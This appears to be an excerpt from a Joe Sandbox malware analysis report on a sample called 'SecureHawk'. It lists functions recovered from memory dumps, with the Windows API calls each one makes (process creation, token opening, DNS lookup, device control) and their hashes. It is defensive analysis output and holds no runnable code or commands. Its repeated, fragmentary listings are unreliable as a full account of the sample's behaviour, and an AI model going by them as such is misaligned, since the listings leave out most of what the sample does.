Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 9dd54a4f8376f9f4a3023a2225b3cf3828a495c772af6ec26088dc5ee52ecc8e
Instruction ID: 0f462714e14194fd06dc4e990744e0e7a392bf3e74938bd5fa83da5898b09088
Opcode Fuzzy Hash: 9dd54a4f8376f9f4a3023a2225b3cf3828a495c772af6ec26088dc5ee52ecc8e
Instruction Fuzzy Hash: 4511933A100305AFDB2AAF74D845DBA77EDFF49350B41452AF806CF2A0EBB1A851C790

Function 00325242 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00325261

Part of subcall function 0031586C: __FF_MSGBANNER.LIBCMT ref: 00315883
Part of subcall function 0031586C: __NMSG_WRITE.LIBCMT ref: 0031588A
Part of subcall function 0031586C: RtlAllocateHeap.NTDLL(01220000,00000000,00000001,?,?,?,?,00310F33,?,0000FFFF), ref: 003158AF

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 673bc05c90c89fe497f1ea2de73f35fb69b582162db3456de218e3fa0d0f3c95
Instruction ID: d29a7768a986a0a0b9fcb01823b9cfd6d13b22ea0db2103479cd7955dd7094dd
Opcode Fuzzy Hash: 673bc05c90c89fe497f1ea2de73f35fb69b582162db3456de218e3fa0d0f3c95
Instruction Fuzzy Hash: FC11A332906B35EBCB2B2F70FC0569B379C9F19360F154D25F9459E191DE308A8087E8

Function 003541D2 Relevance: 6.1, APIs: 4, Instructions: 65fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 003541F2
_memset.LIBCMT ref: 00354213
DeviceIoControl.KERNEL32(00000000,0004D02C,?,00000200,?,00000200,?,00000000), ref: 00354265
CloseHandle.KERNEL32(00000000), ref: 0035426E

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle_memset
String ID:
API String ID: 1157408455-0
Opcode ID: e73b0e98ed59051bb8fd5da8e59144af70a4015cdcf1329d3b32d2b36791e2f8
Instruction ID: 9e0dfee2f2c423dc70216caf99b9f6d7b3caaff0e14eb30a664592941f2d11e8
Opcode Fuzzy Hash: e73b0e98ed59051bb8fd5da8e59144af70a4015cdcf1329d3b32d2b36791e2f8
Instruction Fuzzy Hash: 5A11E7759013287AD7319BA5AC4DFABBB7CEF44720F0046DAF908E7190D2704E848BA4

Function 00366819 Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0030402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00357CBE,?,?,00000000), ref: 00304041
Part of subcall function 0030402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00357CBE,?,?,00000000,?,?), ref: 00304065

gethostbyname.WSOCK32(?,?,?), ref: 00366849
WSAGetLastError.WSOCK32(00000000), ref: 00366854
_memmove.LIBCMT ref: 00366881
inet_ntoa.WSOCK32(?), ref: 0036688C

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
String ID:
API String ID: 1504782959-0
Opcode ID: f73b6cb8bd1488ac66841e3f8fb7a86299285d815fdadf1e061fda7f92ae5f11
Instruction ID: 59282a17dab6901b0d7707b56b8edf9f88c4705e64a00e50faceb97cacf6dc72
Opcode Fuzzy Hash: f73b6cb8bd1488ac66841e3f8fb7a86299285d815fdadf1e061fda7f92ae5f11
Instruction Fuzzy Hash: DF116376500109AFCB06FFA4DD56CEEB7B8EF08310B148165F505AB2A1DF31AE54DB61

Function 003494DC Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 003494FC
SendMessageW.USER32(?,000000C9,?,00000000), ref: 0034950E
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00349524
SendMessageW.USER32(?,000000C9,?,00000000), ref: 0034953F

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 57dd5cc1fa3bcd72257e669600ae0382d91f96786b1d8dd8ea27d8f652613d8d
Instruction ID: 001129f8b6d4ec4b714c1efa88f1250c7ff01acb83a52c120c688dc857e3abe6
Opcode Fuzzy Hash: 57dd5cc1fa3bcd72257e669600ae0382d91f96786b1d8dd8ea27d8f652613d8d
Instruction Fuzzy Hash: 37115E39900218FFDB12DF95CC84F9EBBB8FB49310F204096EA00BB254D671AE10DB90

Function 002F166C Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 002F29E2: GetWindowLongW.USER32(?,000000EB), ref: 002F29F3

DefDlgProcW.USER32(?,00000020,?), ref: 002F16B4
GetClientRect.USER32(?,?), ref: 0032B86C
GetCursorPos.USER32(?), ref: 0032B876
ScreenToClient.USER32(?,?), ref: 0032B881

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: d7f0f332e72648edd524ff5e7db986492080260cec20956b32df4e73898e6df2
Instruction ID: 387226b12e244de3f8d30c12a14bd281a374d65902bbe0f4ae019d3def6635c8
Opcode Fuzzy Hash: d7f0f332e72648edd524ff5e7db986492080260cec20956b32df4e73898e6df2
Instruction Fuzzy Hash: BC114635A1011DEBCB05EF58C8969BEB7BCEB05305F9404A5FA01E7250C730AA618FA1

Function 002F2111 Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 002F214F
GetStockObject.GDI32(00000011), ref: 002F2163
SendMessageW.USER32(00000000,00000030,00000000), ref: 002F216D

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: 30c2e8ac36180c0d7541542134aed680e42251d9eb401a651256505ddd30ab1c
Instruction ID: 619dbc276f211dec7374ba371e55111bdbd6c592e913fffe10dcf5257e1d9531
Opcode Fuzzy Hash: 30c2e8ac36180c0d7541542134aed680e42251d9eb401a651256505ddd30ab1c
Instruction Fuzzy Hash: 4311577211160EBFDB064FA09C84AEBBB6DEF593A4F040121FB0852011C7319C649BA4

Function 003517AD Relevance: 6.1, APIs: 4, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00350358,?,003513AB,?,00008000), ref: 003517CA
Sleep.KERNEL32(00000000,?,?,?,?,?,?,00350358,?,003513AB,?,00008000), ref: 003517EF
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00350358,?,003513AB,?,00008000), ref: 003517F9
Sleep.KERNEL32(?,?,?,?,?,?,?,00350358,?,003513AB,?,00008000), ref: 0035182C

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: 01e27f46eea5dd93d61977ad12a008850f50cef599b49798c66ed255be976451
Instruction ID: 754c9612fa03dd1b2ec70bfd0fabe32e606820f2096f646cc2807c5127e1190b
Opcode Fuzzy Hash: 01e27f46eea5dd93d61977ad12a008850f50cef599b49798c66ed255be976451
Instruction Fuzzy Hash: C0115A31C00618DBCF16AFA4D988BEEBBB8FF08712F054095ED41B2250CB305598CB91

Function 00327117 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0032713B

Part of subcall function 00327822: __fltout2.LIBCMT ref: 0032784B

__cftog_l.LIBCMT ref: 00327161
__cftoe_l.LIBCMT ref: 00327193

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: 2ad62b254a383a4ca239b1b379443f980d777bf914e2f90fb12cf8b6e93f8f4f
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: 9E014C3244815AFBCF135E84EC06CEE3F26BF18351B598415FA1898531D336D9B2EB81

Function 0037B6B2 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 0037B6D1
ScreenToClient.USER32(?,?), ref: 0037B6E9
ScreenToClient.USER32(?,?), ref: 0037B70D
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 0037B728

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 3a90b725cce1883d0a1ae5ff1621cf1e8704ada5454acbaf2f2b96e6bc908259
Instruction ID: 427c2edde0a08d09b4f0bb2c5d437e031a48fae23a059ff8120ce8a11ffe2bc6
Opcode Fuzzy Hash: 3a90b725cce1883d0a1ae5ff1621cf1e8704ada5454acbaf2f2b96e6bc908259
Instruction Fuzzy Hash: C41132B9D00249EFDB41CF98C884AEEFBB9FF48310F108196E954E2610E735AA658F50

Function 0037BA22 Relevance: 6.0, APIs: 4, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0037BA31
_memset.LIBCMT ref: 0037BA40
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,003B7F20,003B7F64), ref: 0037BA6F
CloseHandle.KERNEL32 ref: 0037BA81

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID:
API String ID: 3277943733-0
Opcode ID: 41d615c581257521567222ef32bbb4763a431d8ea1215d27a100c76db765cc7e
Instruction ID: a3cbdeccbcaf94eac5a4e3d91f2eb1b1e1fe7d03ee67c5a49a22f35fa6458b84
Opcode Fuzzy Hash: 41d615c581257521567222ef32bbb4763a431d8ea1215d27a100c76db765cc7e
Instruction Fuzzy Hash: 50F082B69483447BE3532B61AC05FFB3A5CEB48758F000160BB08D91A1D7B59C50C7AC

Function 00357002 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 0035700E

Part of subcall function 00357AEC: _memset.LIBCMT ref: 00357B21

_memmove.LIBCMT ref: 00357031
_memset.LIBCMT ref: 0035703E
LeaveCriticalSection.KERNEL32(?), ref: 0035704E

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: CriticalSection_memset$EnterLeave_memmove
String ID:
API String ID: 48991266-0
Opcode ID: 77c5101186030cc777b746702188372e0145ff53a4079bc7c834f0928cc2ce30
Instruction ID: b58d89fd422165c74b2c88c13056958d849e4c11982a0e35a41a953b199b774f
Opcode Fuzzy Hash: 77c5101186030cc777b746702188372e0145ff53a4079bc7c834f0928cc2ce30
Instruction Fuzzy Hash: 9AF0547A100104ABCF466F55EC85E8ABB29EF49321F08C095FE085E227C771A955DBB4

Function 0037C13F Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 002F16CF: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 002F1729
Part of subcall function 002F16CF: SelectObject.GDI32(?,00000000), ref: 002F1738
Part of subcall function 002F16CF: BeginPath.GDI32(?), ref: 002F174F
Part of subcall function 002F16CF: SelectObject.GDI32(?,00000000), ref: 002F1778

MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 0037C163
LineTo.GDI32(00000000,?,?), ref: 0037C170
EndPath.GDI32(00000000), ref: 0037C180
StrokePath.GDI32(00000000), ref: 0037C18E

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: d1d03712c65feb50f5ae9a810ee612a949354740bd05b7d2960c1dc5ac7ee24c
Instruction ID: ec37b861f0a884d96a4dc5250e815c15b5031745d174922e7756225a3ee6b524
Opcode Fuzzy Hash: d1d03712c65feb50f5ae9a810ee612a949354740bd05b7d2960c1dc5ac7ee24c
Instruction Fuzzy Hash: 4FF0BE32001359BBDB132F50AC0EFCE3F5DAF05320F044140FA14650E283790565DFA5

Function 0034A835 Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 0034A852
GetWindowThreadProcessId.USER32(?,00000000), ref: 0034A865
GetCurrentThreadId.KERNEL32 ref: 0034A86C
AttachThreadInput.USER32(00000000), ref: 0034A873

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: f7aa62448b54913016f18b7f7b5844cd349a9164bd1ff8da0daf321e83eeabbd
Instruction ID: 3911d13113e1587573526b6557df20ca646a2389278053624c9cb5f2328e248e
Opcode Fuzzy Hash: f7aa62448b54913016f18b7f7b5844cd349a9164bd1ff8da0daf321e83eeabbd
Instruction Fuzzy Hash: 71E03932141328BAEB621BA29C0CEDB3F5CEF117A1F008060F50989060D7719955CBA0

Function 002F25F4 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 002F260D
SetTextColor.GDI32(?,000000FF), ref: 002F2617
SetBkMode.GDI32(?,00000001), ref: 002F262C
GetStockObject.GDI32(00000005), ref: 002F2634
GetWindowDC.USER32(?,00000000), ref: 0032C0F4
GetPixel.GDI32(00000000,00000000,00000000), ref: 0032C101
GetPixel.GDI32(00000000,?,00000000), ref: 0032C11A
GetPixel.GDI32(00000000,00000000,?), ref: 0032C133
GetPixel.GDI32(00000000,?,?), ref: 0032C153
ReleaseDC.USER32(?,00000000), ref: 0032C15E

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: 30619680d1391e35fdadba0991e855696df51fc5bf2a9f0a1b62840771511167
Instruction ID: 1f42f7b4a1341857264dea2bec0563a963b049202ade6198df6dd60a1d5cef97
Opcode Fuzzy Hash: 30619680d1391e35fdadba0991e855696df51fc5bf2a9f0a1b62840771511167
Instruction Fuzzy Hash: 60E06531504344EADB675F74BC0D7E83B14EB05331F0483A6FA69480E187714598DB11

Function 00349113 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 0034911C
OpenThreadToken.ADVAPI32(00000000,?,?,?,00348CE7), ref: 00349123
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,00348CE7), ref: 00349130
OpenProcessToken.ADVAPI32(00000000,?,?,?,00348CE7), ref: 00349137

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: fdba7ab44677f6a13929467e94a90bbe80ac0626554bb1d033665e76756cdbbf
Instruction ID: 2d373a4c35e54551f5517067cf781d7eb6d2c4976afc2c244e53147fa7434e99
Opcode Fuzzy Hash: fdba7ab44677f6a13929467e94a90bbe80ac0626554bb1d033665e76756cdbbf
Instruction Fuzzy Hash: BCE08672601311DBD7A61FF0AE0CB573BACEF54791F124858B245CD050E6749549CB50

Function 003305A9 Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 003305A9
GetDC.USER32(00000000), ref: 003305B3
GetDeviceCaps.GDI32(00000000,0000000C), ref: 003305D3
ReleaseDC.USER32(?), ref: 003305F4

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 9cad6795ec7d572e80028517522360cb531c211db5adaae36bf18042db4b73ed
Instruction ID: 7aa01f86ac72453aa81ba6e4f562d4c969f534f39156dbfcc9ad88f5ca6b3c5d
Opcode Fuzzy Hash: 9cad6795ec7d572e80028517522360cb531c211db5adaae36bf18042db4b73ed
Instruction Fuzzy Hash: 84E0E5B2800204EFDB869F60D808A6DBBB9EF88350F108055F95AA7210DB7886559F50

Function 003305BD Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 003305BD
GetDC.USER32(00000000), ref: 003305C7
GetDeviceCaps.GDI32(00000000,0000000C), ref: 003305D3
ReleaseDC.USER32(?), ref: 003305F4

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
